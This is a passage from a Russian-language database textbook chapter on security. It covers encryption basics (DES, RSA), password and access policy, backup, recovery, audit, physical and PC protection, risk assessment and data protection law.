Некоторые системы шифрования, называемые симметричными, используют один и тот же ключ как для шифрования, так и для дешифрования, при этом предполагается наличие защищенных линий связи, предназначенных для обмена ключами. Однако большинство пользователей не имеют доступа к защищенным линиям связи, поэтому для получения надежной защиты длина ключа должна быть не меньше длины самого сообщения (Leiss, 1982). Тем не менее большинство эксплуатируемых систем построено на использовании ключей, которые короче самих сообщений. Одна из распространенных систем шифрования называется DES (Data Encryption Standard) — в ней используется стандартный алгоритм шифрования, разработанный фирмой IBM. В этой схеме для шифрования и дешифрования используется один и тот же ключ, который должен храниться в секрете, хотя сам алгоритм шифрования не является секретным. Этот алгоритм предусматривает преобразование каждого 64-битового блока обычного текста с использованием 56битового ключа шифрования. Система шифрования DES расценивается как достаточно надежная далеко не всеми — некоторые разработчики полагают, что следовало бы использовать более длинное значение ключа. Так, в системе шифрования PGP (Pretty Good Privacy) используется 128-битовый симметричный алгоритм, применяемый для шифрования блоков отсылаемых данных.
В настоящее время ключи длиной до 64 бит раскрываются с достаточной степенью вероятности правительственными службами развитых стран, для чего используется специальное оборудование, хотя и достаточно дорогое. Тем не менее в течение ближайших лет эта технология может попасть в руки организованной преступности, крупных организаций и правительств других государств. Хотя предполагается, что ключи длиной до 80 бит также окажутся раскрываемыми в ближайшем будущем, есть уверенность, что ключи длиной 128 бит в обозримом будущем останутся надежным средством шифрования. Термины “сильное шифрование” и “слабое шифрование” иногда используются для подчеркивания различий между алгоритмами, которые не могут быть раскрыты с помощью существующих в настоящее время технологий и теоретических методов (сильные), и теми, которые допускают подобное раскрытие (слабые).
Другой тип систем шифрования предусматривает использование для шифровки и дешифровки сообщений различных ключей — подобные системы принято называть несимметричными. Примером такой системы является система с открытым ключом, предусматривающая использование двух ключей, один из которых является открытым, а другой хранится в секрете. Алгоритм шифрования также может быть открытым, поэтому любой пользователь, желающий направить владельцу ключей зашифрованное сообщение, может использовать его открытый ключ и соответствующий алгоритм шифрования. Однако дешифровать данное сообщение сможет только тот, кто знает парный закрытый ключ шифрования. Системы шифрования с открытым ключом могут также использоваться для отправки вместе с сообщением “цифровой подписи”, подтверждающей, что данное сообщение было действительно отправлено владельцем открытого ключа (раздел 24.11.3). Наиболее популярной несимметричной системой шифрования является RSA (это инициалы трех разработчиков данного алгоритма). Как правило, симметричные алгоритмы являются более быстродействующими, чем несимметричные, однако на практике обе схемы часто применяются совместно, когда алгоритм с открытым ключом используется для шифрования случайным образом сгенерированного ключа шифрования, а уже этот случайный ключ — для шифровки самого сообщения с применением некоторого симметричного алгоритма.
Вспомогательные процедуры
Хотя выше уже были описаны различные механизмы, которые могут использоваться для защиты данных в среде СУБД, сами по себе они не гарантируют необходимого уровня защищенности и могут оказаться неэффективными в случае неправильного применения или управления. По этой причине в данном разделе мы обсудим различные вспомогательные процедуры, которые должны использоваться совместно с описанными выше механизмами защиты.
Авторизация и аутентификация
Выше в этой главе уже описывался механизм паролей, являющийся самым распространенным методом подтверждения личности пользователей. С точки зрения обеспечения необходимого уровня защиты очень важно, чтобы все используемые пароли держались пользователями в секрете и регулярно обновлялись через некоторый установленный интервал времени. В ходе процедуры регистрации в системе значение пароля не должно отображаться на экране, а списки идентификаторов пользователей и их паролей должны сохраняться в системе в зашифрованном виде. Кроме того, в организаций должен использоваться некоторый стандарт для выбора допустимых значений пароля — например, все пароли должны быть не меньше установленной длины, обязательно содержать цифры и служебные символы, а также подлежать замене через установленный интервал времени (скажем, пять недель). Для выявления слабых паролей в системе следует использовать специальное программное обеспечение (например, в качестве пароля могут использоваться реальные имена или адреса пользователей, что недопустимо). Кроме того, специализированные программы могут применяться для выявления устаревших паролей.
Еще одним аспектом авторизации является разработка процедур, посредством которых конкретным пользователям предоставляются права доступа к различным объектам базы данных. Очень важно хранить историческую информацию о предоставлении прав пользователям, особенно если служебные обязанности пользователей меняются и они перестают нуждаться в доступе к определенным массивам данных. В частности, если пользователь увольняется, чрезвычайно важно немедленно удалить его учетную запись и аннулировать все предоставленные ему права доступа, что позволит своевременно пресечь любые возможные попытки нарушения защиты системы.
Копирование
Процедуры, регламентирующие процессы создания резервных копий, определяются типом и размерами эксплуатируемой базы данных, а также тем набором соответствующих инструментов, который предоставляется используемой СУБД. Эти процедуры должны включать необходимые этапы, на которых будет непосредственно выполняться создание резервной копии. Как уже указывалось выше, крупные базы данных могут полностью копироваться раз в неделю или даже раз в месяц, но при этом следует организовать обязательное инкрементное копирование, выполняемое с более высокой частотой. День и час выполнения резервного копирования должен устанавливаться ответственными лицами.
В процедурах копирования также может указываться, какие еще части системы (например, прикладные программы), помимо самих данных, должны подлежать копированию. В зависимости от частоты внесения в систему изменений, в течение одних суток может выполняться несколько копирований; созданные копии должны помещаться в безопасное место. Место хранения последних копий должно быть оборудовано как минимум несгораемыми шкафами. Кроме того, желательно использовать некоторое внешнее хранилище, в которое будет помещаться второй экземпляр созданных копий. Все упомянутые детали должны найти свое четкое отражение в разработанных процедурах резервного копирования, которые должны неукоснительно выполняться обслуживающим персоналом.
Восстановление
Как и процедуры копирования, процедуры восстановления также должны быть тщательно продуманы и проработаны. То, какие именно процедуры восстановления будут выполняться, должно определяться типом имевшего место отказа (разрушение носителя, отказ программного обеспечения или отказ оборудования системы). Кроме того, процедурами восстановления должны учитываться особенности методов восстановления, принятых в используемой СУБД. В любом случае разработанные процедуры восстановления должны быть тщательно протестированы, поскольку необходимо получить полную гарантию, что они работают правильно, еще до того, как произойдет реальный отказ системы. В идеале, процедуры восстановления должны регулярно тестироваться с некоторым установленным интервалом.
Аудит
Одно из назначений процедуры аудита состоит в проверке того, все ли предусмотренные средства управления задействованы и соответствует ли уровень защищенности установленным требованиям. В ходе выполнения инспекции аудиторы могут ознакомиться с используемыми ручными процедурами, обследовать компьютерные системы и проверить состояние всей имеющейся документации на данную систему. В частности, аудиторская проверка предусматривает контроль следующих используемых процедур и механизмов управления:
поддержание точности вводимых данных;
поддержание точности процедур обработки данных;
предотвращение появления и своевременное обнаружение ошибок в процессе выполнения программ;
корректное тестирование, документирование и сопровождение разработанных программных средств;
предупреждение несанкционированного изменения программ;
предоставление прав доступа и контроль за их использованием;
поддержание документации в актуальном состоянии.
Все упомянутые процедуры и средства контроля должны быть достаточно эффективными, в противном случае они должны быть подвергнуты пересмотру. Для определения активности использования базы данных анализируются ее файлы журнала. Эти же источники могут использоваться для выявления любых необычных действий в системе. Регулярное проведение аудиторских проверок, дополненное постоянным контролем содержимого файлов журнала с целью выявления ненормальной активности в системе, очень часто позволяет своевременно обнаружить и пресечь любые попытки нарушения защиты.
Установка нового прикладного программного обеспечения
Новые приложения, разработанные собственными силами или сторонними организациями, обязательно следует тщательно протестировать, прежде чем принимать решение об их развертывании и передаче в эксплуатацию. Если уровень тестирования будет недостаточным, существенно возрастает риск разрушения базы данных. Следует считать хорошей практикой выполнение резервного копирования базы данных непосредственно перед сдачей нового программного обеспечения в эксплуатацию. Кроме того, в первый период эксплуатации нового приложения обязательно следует организовать тщательное наблюдение за функционированием системы. Отдельным вопросом, который должен быть согласован со сторонними разработчиками программ, является право собственности на разработанное ими программное обеспечение. Данная проблема должна быть решена еще до начала разработки, причем это особенно важно в тех случаях, когда существует вероятность, что впоследствии организации обязательно потребуется
вносить изменения в создаваемые приложения. Риск, связанный с подобной ситуацией, состоит в том, что организация не будет иметь юридического права использовать созданное программное обеспечение или модернизировать его. Потенциально подобная ситуация угрожает организации серьезными потерями.
Установка или модернизация системного программного обеспечения
В обязанности АБД входит выполнение модернизации программного обеспечения СУБД при поступлении от разработчика очередных пакетов изменений. В некоторых случаях вносимые изменения оказываются совсем незначительными и касаются только небольшой части модулей системы. Однако возможны ситуации, когда потребуется полная ревизия всей установленной системы. Как правило, каждый поступающий пакет изменений сопровождается печатной или интерактивной документацией, содержащей подробные сведения о сути изменений и их назначении. Многие склонны полагать, что после установки любого из пакетов модернизации продолжение нормального функционирования существующих баз данных и прикладного программного обеспечения автоматически гарантируется. С ростом интенсивности использования базы данных и увеличением объема сопроводительной документации к пакету эта убежденность укрепляется. Однако обеспечение защиты данных и приложений имеет превалирующую важность, и это следует учитывать. Никакие изменения и модернизации ни в коем случае не должны вноситься в систему без предварительной оценки их возможного влияния на имеющиеся данные и программное обеспечение.
Результатом ознакомления с сопроводительной документацией пакета должен стать план действий по его установке. В этом плане должны быть отражены любые изменения, которые могут повлиять на базу данных и приложения, а также предложены решения по их реализации. В некоторых случаях может потребоваться, чтобы программисты выполнили поиск в тексте программ определенных конструкций или осуществили какие-либо иные подготовительные действия. Иногда требуемые изменения могут оказаться минимальными — после модернизации системы достаточно будет просто перекомпилировать некоторые из программ. В других случаях могут потребоваться более существенные подготовительные действия — например, изменение типа используемых данных. Однако, какие бы изменения ни потребовались, все они должны быть учтены и для каждого из них должна быть дана оценка времени выполнения с учетом объема всего имеющегося программного обеспечения. Главная задача АБД — обеспечить плавный и безболезненный переход от старой версии системы к новой.
В функционирующей системе, которая должна быть постоянно доступна на протяжении всего рабочего времени, установки любых пакетов модернизации обычно выполняются во внерабочее время — например, в выходные дни. Непосредственно перед выполнением модернизации должна быть сделана полная резервная копия существующей системы — на случай возможного отказа. Затем выполняется установка пакета модернизации, а в данные и программы вносятся все необходимые изменения, сопровождаемые требуемыми процедурами тестирования. Только после полного завершения указанных процедур система может быть запущена в работу с использованием реальных данных.
Изменения, вносимые в программы СУБД в результате модернизации, могут оказать влияние на любые используемые прикладные программы, созданные различными программистами. Поэтому список необходимых изменений Должен быть либо разослан всем заинтересованным лицам, либо открыт для всеобщего доступа. Некоторые из вносимых изменений могут представлять особый интерес, если они связаны, например, с исправлением замеченных ранее ошибок и позволяют удалить использовавшиеся до этого искусственные способы их обхода. Кроме того, желательно, чтобы сопроводительная документация включала список известных ошибок с указанием использовавшихся путей их обхода (“заплат”)» Эти сведения также должны быть разосланы всем заинтересованным лицам или сделаны общедоступными.
Контрмеры - некомпьютерные средства контроля
Некомпьютерные средства контроля включают такие методы, как выработку ограничений, соглашений и других административных мер, не связанных с компьютерной поддержкой. В этой главе мы рассмотрим такие некомпьютерные средства контроля, как:
меры обеспечения безопасности и планирование защиты от непредвиденных обстоятельств;
контроль за персоналом;
защита помещений и хранилищ;
гарантийные соглашения;
договора о сопровождении;
контроль за физическим доступом.
Меры обеспечения безопасности и планирование защиты от непредвиденных обстоятельств
Понятия выработки мер обеспечения безопасности и планирования защиты от непредвиденных обстоятельств существенно отличаются друг от друга. Первое предполагает исчерпывающее определение средств, посредством которых будет обеспечиваться защита вычислительной системы данной организации. Второе состоит в определении методов, с помощью которых будет поддерживаться функционирование организации в случае возникновения любой аварийной ситуации. Каждая организация должна подготовить и реализовать, как перечень мер обеспечения безопасности, так и план защиты от непредвиденных обстоятельств.
Меры обеспечения безопасности'
В документе по мерам обеспечения безопасности должно быть определено следующее:
область деловых процессов организации, для которой они устанавливаются;
ответственность и обязанности отдельных работников;
дисциплинарные меры, принимаемые в случае обнаружения нарушения установленных ограничений;
процедуры, которые должны обязательно выполняться.
Процедуры, определяемые как меры обеспечения безопасности, могут потребовать разработки других процедур, определение которых выходит за рамки данного документа. Например, одно из установленных в системе ограничений может заключаться в требовании, чтобы доступ к прикладным приложениям системы могли получать только авторизированные пользователи, однако способ реализации этого требования в данном документе не конкретизируется. Для исчерпывающего определения методов авторизации различных пользователей потребуется разработать отдельный набор процедур. Кроме того, дополнительно может быть подготовлен стандарт выполнения процедуры авторизации, устанавливающий, например, принятый формат паролей (если они используются в системе). В подобном случае документ с определением мер обеспечения безопасности постоянно сохраняет свою значимость, хотя может потребоваться его периодический пересмотр, тогда как выполняемые процедуры реализа-
ции этих требований должны модифицироваться при каждом внесении изменений в систему или модернизации используемой технологии. Пример перечня мер обеспечения безопасности можно найти в работе Герберта (Herbert, 1990).
Планирование защиты от непредвиденных обстоятельств
План защиты от непредвиденных обстоятельств разрабатывается с целью подробного определения последовательности действий, необходимых для выхода из различных необычных ситуаций, не предусмотренных процедурами нормального функционирования системы — например, в случае пожара или диверсии. В системе может существовать единый план защиты от непредвиденных обстоятельств, а может быть несколько — каждый по отдельному направлению. Типичный план защиты от непредвиденных обстоятельств должен включать такие элементы, как:
сведения о том, кто является главным ответственным лицом и как можно установить с ним контакт;
информация о том, кто и на каком основании принимает решение о возникновении необычной ситуации;
технические требования к передаче управления резервным службам, которые могут включать следующее:
сведения о расположении альтернативных сайтов;
сведения о необходимом дополнительном оборудовании;
сведения о необходимости дополнительных линий связи.
организационные требования в отношении персонала, который осуществляет передачу управления резервным службам;
сведения о любых внешних источниках, в которых можно будет получить помощь, — например, о поставщиках оборудования;
сведения о наличии страховки на случай данной конкретной ситуации.
Любой разработанный план защиты от непредвиденных обстоятельств должен периодически пересматриваться и тестироваться на предмет его осуществимости.
Контроль за персоналом
Создатели коммерческих СУБД возлагают всю ответственность за эффективность управления системой на ее пользователей. Поэтому, с точки зрения защиты системы^ исключительно важную роль играют отношение к делу и действия людей, непосредственно вовлеченных в эти процессы. Важность этого замечания подчеркивается тем, что основной риск в любой организации связан с действиями, производимыми сотрудниками самой организации, а не с возможными внешними угрозами. Отсюда следует, что обеспечение необходимого уровня контроля за персоналом позволяет минимизировать возможный риск.
Защита помещений и хранилищ
Основное оборудование системы, включая принтеры, если они используются для печати конфиденциальной информации, должно размещаться в запираемом помещении с ограниченным доступом, который должен быть разрешен только основным специалистам. Все остальное оборудование, особенно переносное, должно быть надежно закреплено в месте размещения и снабжено сигнализацией. Однако условие держать помещение постоянно запертым может оказаться нежелательным или неосуществимым, поскольку работникам может требоваться постоянный доступ к установленному там оборудованию.
Выше, при обсуждении вопросов резервного копирования, уже упоминалось о необходимости иметь защищенное помещение, предназначенное для хранения носителей информации. Для любой организации жизненно необходимо иметь подобное надежно защищенное место, в котором будут храниться копии программ, резервные копии системы, прочие архивные материалы и документация. Предпочтительно, чтобы это помещение находилось на площадке, отличной от места расположения основного оборудования системы. Все носители информации, включая диски и магнитные ленты, должны храниться в несгораемых сейфах. Аналогичным образом должна сохраняться и документация. Все, что хранится в подобном помещении, должно быть зарегистрировано в специальном каталоге, с указанием даты помещения носителя или документа на хранение. Периодичность, с которой новые материалы будут помещаться в подобный архив, должна регламентироваться разработанными процедурами копирования. Кроме того, организации могут использовать и внешние хранилища, периодически доставляя туда вновь созданные резервные копии и другие архивные материалы, причем частота доставки также должна определяться установленными нормами и процедурами. Существуют независимые компании, специализирующиеся на организации внешних хранилищ информации. Они предоставляют свои услуги многочисленным компаниям-клиентам.
Гарантийные договора
Гарантийные договора представляют собой юридические соглашения в отношении программного обеспечения, заключаемые между разработчиками программ и их клиентами, на основании которых некоторая третья фирма обеспечивает хранение исходного текста программ приложения, разработанного для клиента. Это одна из форм страховки клиента на случай, если компания-разработчик отойдет от дел. В этом случае клиент получит право забрать исходные тексты программ у третьей фирмы, вместо того чтобы остаться с приложением, лишенным всякого сопровождения. Данная область юриспруденции считается одной из тех, в которых очень часто допускаются ошибки и различные недооценки. По мнению некоторых авторов (Revella, 1993), 95% всех гарантийных договоров по программному обеспечению не достигает своей изначальной цели. Чтобы избежать ошибок, при заключении подобных соглашений необходимо тщательно продумывать следующее:
тип помещаемых на хранение материалов;
процедуры обновления и поддержания актуальности этих материалов;
сведения о любом используемом программном обеспечении от сторонних производителей;
необходимость проведения верификации помещенных на хранение материалов;
условия, при которых материалы могут быть переданы клиенту;
четкая регламентация процесса передачи сохраняемых материалов.
Договора о сопровождении
Для всего используемого организацией оборудования и программного обеспечения сторонней разработки или изготовления обязательно должны быть заключены соответствующие договора о сопровождении. Установленный интервал ожидания ответа в случае любого отказа или ошибки зависит от важности отказавшего элемента для нормального функционирования всей системы. Например, если произойдет отказ сервера базы данных, желательна немедленная реакция обслуживающей организации с целью скорейшего возвращения системы в работоспособное состояние. Однако в случае отказа принтера договор вполне может предусматривать устранение неисправности в течение рабочего дня или даже двух — предполагается, что всегда найдется подходящий резервный принтер, который можно будет использовать до устранения аварии. В некоторых случаях договором может быть предусмотрена временная замена неисправного оборудования на период ремонта отказавших технических средств.
Контроль за физическим доступом
В этом разделе мы кратко рассмотрим, какие методы могут быть использованы для организации контроля за физическим доступом к оборудованию и т.д. В целом, все методы контроля могут быть разделены на внешние и внутренние.
Внутренний контроль
Этот метод контроля используется внутри отдельных зданий и предназначен для управления тем, кто будет иметь доступ в определенные помещения этих зданий. Например, наиболее “ответственные” помещения (скажем, те, в которых установлены основные компьютеры) могут быть оборудованы системами входного контроля. В подобных системах могут использоваться самые различные принципы — например, специальные ключи, карточки, кодовые замки или средства указания пароля. Наиболее сложные комплексы предполагают использование отпечатков пальцев, снимков радужной оболочки глаз, фиксацию особенностей голоса или почерка. Однако в настоящее время очень немногие коммерческие организации применяют столь изощренные методы контроля — в основном из-за их высокой стоимости.
Внешний контроль
Данный метод контроля применяется вне строений и предназначен для ограничения доступа на площадку или в отдельные здания. Для наблюдения за территорией может использоваться специальная охрана, в обязанности которой входит контроль входа/выхода персонала и посетителей организации. Следует отметить, что основной задачей любых механизмов контроля за физическим доступом является обеспечение их эффективности, однако требуемая эффективность должна достигаться без создания дополнительных препятствий персоналу в выполнении их служебных обязанностей. В противном случае возрастает опасность поиска персоналом всевозможных путей обхода установленных требований.
Защита ПК
В отличие от больших компьютерных систем, защита вычислительных комплексов, состоящих из обычных персональных компьютеров, может представлять собой серьезную проблему, поскольку их перемещение ни для кого не составит труда. Общепринятые меры контроля доступа, применяемые для мейнфреймов и миникомпьютеров, мало подходят для систем, состоящих из ПК. Основное затруднение состоит в том, что подобные компьютеры обычно располагаются непосредственно на рабочих местах сотрудников. Поэтому какой-либо специальный контроль за физическим доступом к этим устройствам, как правило, отсутствует — за исключением мер, принимаемых для защиты всего здания или отдельных его помещений.
В настоящее время большинство персональных компьютеров оборудуется замками, блокирующими несанкционированный доступ к клавиатуре. Этот способ не обеспечивает высокой степени защиты компьютера, однако вполне подходит для предотвращения случайного доступа к ПК. Более высокую степень защищенности предоставляет организация доступа к системе с использованием индивидуальных идентификаторов пользователей и соответствующих личных паролей. Однако в этом случае необходимо, чтобы пользователи не оставляли компьютер в активном состоянии на сколько-нибудь продолжительный период времени.
Если обрабатываемые данные сохраняются не в самом компьютере, а на дискетах, то, используя специальные хранилища, можно обеспечить необходимую степень их защиты. В этом случае каждый пользователь будет лично отвечать за создание любых необходимых копий данных и программного обеспечения, а также за организацию их защищенного хранения. Следовательно, очень важно, чтобы весь работающий с ПК персонал знал методы и процедуры, которые должны использоваться для организации защиты компьютерного оборудования и данных.
Защита от компьютерных вирусов
Важнейшей проблемой, особенно актуальной для среды ПК, является риск занесения в систему нежелательных и зачастую просто опасных программ, называемых компьютерными вирусами. Беспечное и небрежное отношение к методам использования оборудования часто приводит к поражению систем различными вирусами — например, в тех случаях, когда персонал приносит на рабочие места и запускает на своих компьютерах различные игровые программы. Распространению вирусов в системе способствует бесконтрольный обмен дискетами, хотя некоторые вирусы способны самостоятельно распространяться в сетевой среде. В разделе 24.11 будет показано, как вирусные программы могут попасть в систему из сообщений электронной почты или Internet.
Установленные требования к защите системы должны содержать четкие указания о процедурах, которые должны применяться к любому программному обеспечению, прежде чем оно будет допущено к установке в системе — даже в тех случаях, когда оно поступило непосредственно от разработчика или другого надежного источника. Кроме того, в этих требованиях должно явно указываться, что в системе может использоваться только программное обеспечение, прошедшее необходимый контроль. Надежной защитой от данного типа угрозы могут также служить надлежащие процедуры поверки и тестирования нового и модернизированного программного обеспечения.
СУБД и защита в Web
Меры защиты, связанные с использованием СУБД в среде Web, будут обсуждаться нами позже, в разделе 24.11. К ним относятся следующие:
прокси-серверы;
брандмауэры;
использование цифровой подписи;
алгоритмы создания дайджеста сообщений и цифровой подписи;
цифровые сертификаты;
использование церберов;,
использование технологий SSL и SHTTP.
Защита статистических баз данных
Обычно статистические базы данных используются для генерации статистической информации — например, для определения усредненных и сводных показателей различных наборов данных. Однако информация отдельных записей в статистической базе данных должна сохраняться конфиденциально и не должна быть доступна пользователям. Основная проблема при работе с подобными типами баз данных состоит в возможности использования ответов на допустимые запросы для получения ответов на запрещенные запросы. Для разрешения этой проблемы могут использоваться различные стратегии.
Предотвращение выполнения запросов, работающих с незначительным количеством записей базы данных.
Случайное добавление дополнительных строк к основному набору данных, обрабатываемому запросом. В результате ответ будет содержать определенную ошибку и позволит лишь оценить правильное значение.
Использование для ответов на запросы только случайных наборов исходных данных.
Сохранение исторических сведений о результатах выполнения запросов и отклонение любых запросов, использующих значительное количество исходных данных, обработанных предыдущим запросом.
Типичными примерами статистических баз данных являются хранилища данных (warehouse) и магазины данных (data mart), обсуждение которых будет предложено вашему вниманию в главе 25, “Хранилища данных”.
Оценка риска
В этом разделе содержится краткий обзор основных этапов процедуры оценки риска. Полный перечень этих этапов приведен ниже.
Определение состава группы защиты.
Определение анализируемой области и сбор информации о системе.
Выявление всех существующих средств защиты.
Выявление и оценка всех имеющихся активов.
Выявление и оценка всех существующих, опасностей и угроз.
Подбор необходимых контрмер, проведение сравнительного анализа требуемых затрат и достигаемого эффекта, сравнение с уже существующими средствами защиты.
Подготовка рекомендаций.
Тестирование системы защиты.
Определение состава группы защиты
Любая организация, нуждающаяся в обеспечении защиты своей вычислительной среды, должна выделить группу людей, ответственных за проведение соответствующих мер. Хотя размер и состав группы должны определяться, прежде всего, масштабом и сложностью структуры самой организации, весьма вероятными кандидатами на участие в подобной группе являются представители отдела информационных технологий, отдела кадров, юридической службы, ревизионной группы и службы, отвечающей за эксплуатацию строений. Цели, стоящие перед группой защиты:
разработка требований защиты, включая подготовку необходимых стандартов и требуемых процедур;
проведение анализа риска;
подбор, рекомендация и эффективная реализация необходимых мер защиты;
контроль функционирования и сопровождение системы защиты;
поддержание оптимального баланса между защищенностью системы и эффективностью ее использования.
Определение анализируемой области и сбор информации о системе
За исключением совсем небольших организаций, рекомендуется последовательно сосредотачивать внимание на одной определенной области — например, на отдельной компьютерной подсистеме. Все особенности функционирования этой подсистемы должны быть зафиксированы в документации, что позволит ясно представить ее функциональное назначение.
Выявление всех существующих средств защиты
Необходимо выделить все существующие средства противодействия возможным угрозам. Все они последовательно должны сравниваться с любыми предлагаемыми новыми средствами с целью создания оптимального набора необходимых контрмер, отвечающего уровню подверженности системы той или иной опасности.
Выявление и оценка всех имеющихся активов
Каждый связанный с системой актив должен быть выявлен и оценен. Оценке подлежит все оборудование системы, все используемое в ней программное обеспечение (как прикладное, так и системное), все необходимые и используемые
данные, задействованный персонал, строения и другие элементы — например, энергия, документация и расходные материалы. При определении цены обязательно потребуется выполнить некоторые расчеты. Для таких активов, как оборудование, отправной точкой расчетов является их стоимость. Однако задача оценки стоимости данных является более сложной, если только данные не были куплены в некотором внешнем источнике — в этом случае отправной точкой расчетов также является их цена.
Обычно данные могут подвергаться опасности потери различных уровней — полному уничтожению, временной недоступности или просто несанкционированному раскрытию. Может быть установлена стоимость любого элемента данных на каждый возможный случай их потери. Помимо всего прочего, она будет зависеть от таких требований, как сохранение неприкосновенности личных данных, коммерческая тайна и др. Максимальная стоимость устанавливается на случай максимально возможных потерь. После выполнения независимой оценки отдельных активов следует установить взаимосвязи между ними — например, сохранение данных зависит от определенного оборудования и программного обеспечения. Полученные результаты сопоставляются и согласовываются, причем самая большая стоимость устанавливается на случай самого тяжелого из всех существующих вариантов потерь.
Выявление и оценка всех существующих опасностей и угроз
Каждая потенциально возможная опасность должна быть зафиксирована, начиная от самых очевидных, которые могут происходить очень часто, и заканчивая абсолютно исключительными ситуациями, которые возникают крайне редко, но все же потенциально возможны. Каждая опасность рассматривается в свете потерь, к которым она может привести. Для каждого типа актива системы определяется показатель в отношении каждой потенциальной угрозы, вызывающей каждый тип потери. Это значение должно учитывать вероятность появления данной угрозы. Аналогичным образом устанавливается значение, определяющее вероятность реализации угрозы на практике (уязвимость). Все эти цифры затем обобщаются и согласуются с целью определения риска, создаваемого каждым типом опасности.
Подбор необходимых контрмер, проведение сравнительного анализа требуемых затрат и достигаемого эффекта, сравнение с уже существующими средствами защиты
После завершения оценки риска можно выбрать контрмеры, необходимые для его уменьшения, руководствуясь соотношением стоимости и эффективности. В каждом случае может быть доступно несколько различных вариантов; целью данного этапа является достижение максимальной эффективности за минимальную цену, что и будет характеризовать общие выгоды от реализации той или иной контрмеры. Обязательно следует провести сравнение с уже существующими мерами обеспечения безопасности, поскольку они вполне могут обеспечивать достаточно высокий уровень защищенности той или иной части системы.
Подготовка рекомендаций
Завершив подбор всех необходимых контрмер, группа защиты должна подготовить отчет, содержащий подробные рекомендации, сделанные на базе выполненного обследования. В отчете должна быть указана реальная стоимость каждой из рекомендуемых мер защиты, а также предоставлен список всех поставщиков нового оборудования (если оно необходимо). Помимо подачи рекомендаций, в обязанности группы защиты входит наблюдение за их практической реализацией.
Тестирование системы защиты
Очень полезной практикой следует считать периодическое проведение тестирования всех реализованных средств защиты, что позволяет получить гарантии их реальной способности противостоять различным опасностям и угрозам. Подобное тестирование
позволяет выявить и те средства, которыые потенциальные злоумышленники могут разработать в ответ на установленные меры защиты, что, в свою очередь, послужит основанием для дальнейшего совершенствования и укрепления защиты системы.
Законодательство по защите и неприкосновенности данных
Законодательство по защите и гарантии неприкосновенности данных касается личных данных граждан и права каждого человека на неприкосновенность его личных данных. Этот тип законодательства служит, с одной стороны, для защиты личных данных граждан от различных злоупотреблений, а с другой стороны, для предоставления организациям (как общественным, так и частным) прав, необходимых для выполнения предусмотренных законом действий или обязанностей.
Неприкосновенность Определяет право каждого человека на защиту его личных личных данных данных от сбора, хранения и опубликования (как в отношении лично его, так и неперсонально, в общем потоке).
В последние годы существенно возросла общая озабоченность по поводу сохранения неприкосновенности личных данных. Эта озабоченность вызвана и связана в основном с разработкой новых компьютерных технологий, появившихся в результате быстрого роста объема сохраняемых в компьютерах данных и предусматривающих определенные изменения в методах хранения и использования информации. Многие из этих методов включают обмен или совместную обработку информации, поступающей из различных компьютерных систем (возможно, даже расположенных в различных странах), и далеко не всегда регулируются каким-либо законодательством.
В результате во многих странах был поднят вопрос об охране личных данных граждан как внутри, так и за пределами их государственных границ, что потребовало создания определенной международной кооперации. Результатами этой кооперации стало приведение существующих национальных законодательств в некоторое соответствие. Однако все еще существуют определенные различия как в самом законодательстве, так и в методах его разработки. Тем не менее именно всеобщая озабоченность по поводу неприкосновенности личных данных вызвала к жизни разработку законов о защите личных данных.
Защита Законодательство, предусматривающее защиту личных данных от неличных законного сбора, хранения и опубликования, а также предоставляю- данных Щее необходимые гарантии недопустимости уничтожения или искажения данных, сохраняемых с разрешения закона.
Приведенное выше определение защиты личных данных достаточно широко и не содержит конкретных требований, например, к способам хранения данных. Хотя в настоящее время некоторые законодательные акты о защите личных данных касаются только тех данных, которые сохраняются в компьютерах, этот аспект законодательства пересматривается и в будущем весьма вероятно появление законов, имеющих более широкую область применения. Именно по этой причине мы исключили из определения замечания по поводу методов хранения данных.
В общем случае, как в Северной Америке, так и в Европе, действующее законодательство предоставляет отдельным лицам некоторый набор основных прав — например, право знать, что их данные собираются и хранятся, а также право требовать изменения некорректных сведений. Безусловно, существуют и исключения — например, области, связанные с проблемами национальной безопасности, или случаи, когда разглашение сведений может помешать проведению юридических расследований. Кроме того, существуют отличия и между национальными законодательствами. Например, в некоторых случаях законодательство определяет отношение к любым данным, как собираемым вручную, так и накапливаемым в компьютерах, или же
имеет несколько различных вариантов в административных единицах федеральных государств — например, в Германии и США. Как бы там ни было, в связи с продолжающимся ростом обмена данными между отдельными странами и необходимостью защиты этих данных от недобросовестного использования потребуется дальнейшее согласование основных юридических положений в этой области юриспруденции.
Резюме
Защита баз данных предусматривает предотвращение любых преднамеренных и непреднамеренных угроз с использованием компьютерных и некомпьютерных средств контроля.
Защите подлежат не только собственно данные, сохраняемые в базе. Нарушения защиты могут повлиять на другие части системы, в результате чего пострадает и сама база данных. Поэтому защита баз данных охватывает оборудование, программное обеспечение, персонал и собственно данные.
Целью организации защиты базы данных является предотвращение таких нарушений, как похищение и фальсификация, утрата конфиденциальности (тайности), нарушение неприкосновенности личных данных, утрата целостности данных и потеря доступности данных.
Угрозой считается любая ситуация или событие, как внутреннее, так и внешнее, которое способно нежелательным образом воздействовать на систему, а значит, и на всю организацию в целом.
Компьютерные средства контроля в многопользовательской вычислительной среде включают следующее: авторизацию пользователей, представления, средства копирования/восстановления, инструменты поддержания целостности данных, шифрование и вспомогательные процедуры.
Авторизация пользователей заключается в предоставлении им необходимых прав (или привилегий), позволяющих их владельцу получать санкционированный доступ к системе или ее объектам. Аутентификация представляет собой механизм определения того, является ли данный пользователь именно тем, за кого себя выдает.
Представление является динамическим результатом одной или более реляционных операций, выполняемых над базовыми отношениями с целью создания нового отношения. Представление является виртуальным отношением, которого реально в базе данных не существует, но которое воспроизводится по каждому запросу пользователя в момент поступления этого запроса. Механизм представлений является мощным и весьма гибким инструментом организации защиты, позволяющим скрывать от определенных пользователей некоторую часть базы данных.
Резервное копирование представляет собой процесс периодического создания копии базы данных и ее файла журнала (а также, возможно, программного обеспечения), помещаемых на внешние по отношению к системе носители информации. Ведение журнала базы данных представляет собой процесс создания и обработки файла журнала, в котором фиксируются все изменения, внесенные в базу данных с момента создания ее последней резервной копии, что позволяет эффективно восстанавливать систему в случае ее отказа. Контрольная точка обозначает момент синхронизации между состоянием базы данных и журналом регистрации транзакций. При создании контрольной точки содержимое всех системных буферов принудительно выводится на диск.
Средства поддержания целостности данных также вносят свой вклад в защиту базы данных, поскольку предотвращают переход данных в несогласованное состояние, а значит, и получение ошибочных или некорректных результатов расчетов.
Шифрование представляет собой процедуру кодирования данных с использованием специальных алгоритмов, которые делают данные непригодными для чтения с помощью любой программы, не имеющей ключа шифрования.
